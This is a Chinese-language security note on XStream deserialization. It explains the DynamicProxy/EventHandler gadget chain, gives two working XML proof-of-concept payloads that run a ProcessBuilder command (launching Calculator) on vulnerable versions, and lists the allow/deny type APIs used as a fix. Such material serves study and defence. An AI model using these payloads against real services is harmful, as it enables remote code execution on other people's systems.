xstream 反序列化

目录

简介

能把java对象从xml反序列化出来,也可以反向操作。

原理

先一言以蔽之:XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象。在反序列化过程中,当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;只需interface标签指向目标程序必然会调用的接口类方法,那么handler指定的类方法(一般为eventhandler类,因为它可以通过内部的反射造成任意方法执行)一定就会被执行从而造成攻击

poc

适用版本 xstream=1.4.10 或小于1.4.6

eventhandler.invoke→eventhandler.invokeInternal→MethodUtil.invoke

在这个调用链中出传入要执行的方法和参数即可,在下面的poc中展示

<tree-map>
    <entry>
        <dynamic-proxy>
            <interface>java.lang.Comparable</interface>
            <handler class="java.beans.EventHandler">
                <target class="java.lang.ProcessBuilder">
                    <command>
                        <string>open</string>
                        <string>-na</string>
                        <string>Calculator</string>
                    </command>
                </target>
                <action>start</action>
            </handler>
        </dynamic-proxy>
        <string>good</string>
    </entry>
</tree-map>

java.lang.Comparable作为一个项目中基本必用到的interfae,自然就放到interface标签里了。

另一个poc 版本:1.4.5,1.4.6,1.4.10

<sorted-set>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>open</string>
                    <string>-na</string>
                    <string>Calculator</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

修复

若版本号>=1.4.7,XStream提供了一个安全框架供用户使用,但必须手工设置,建立黑白名单机制进行过滤:

XStream.addPermission(TypePermission);
XStream.allowTypes(Class[]);
XStream.allowTypes(String[]);
XStream.allowTypesByRegExp(String[]);
XStream.allowTypesByRegExp(Pattern[]);
XStream.allowTypesByWildcard(String[]);
XStream.allowTypeHierary(Class);
XStream.denyPermission(TypePermission);
XStream.denyTypes(Class[]);
XStream.denyTypes(String[]);
XStream.denyTypesByRegExp(String[]);
XStream.denyTypesByRegExp(Pattern[]);
XStream.denyTypesByWildcard(String[]);
XStream.denyTypeHierary(Class);

在1.4.10版本之后,XStream提供了XStream.setupDefaultSecurity()函数来设置XStream反序列化类型的默认白名单,部分白名单是Xstream默认的,用户可以直接调用。

cve速查

官网良心,并给每个cve提供了poc

https://x-stream.github.io/security.html

1.4.18是目前最安全的版本,遇到不用看了——2023.3

关键字

fromXml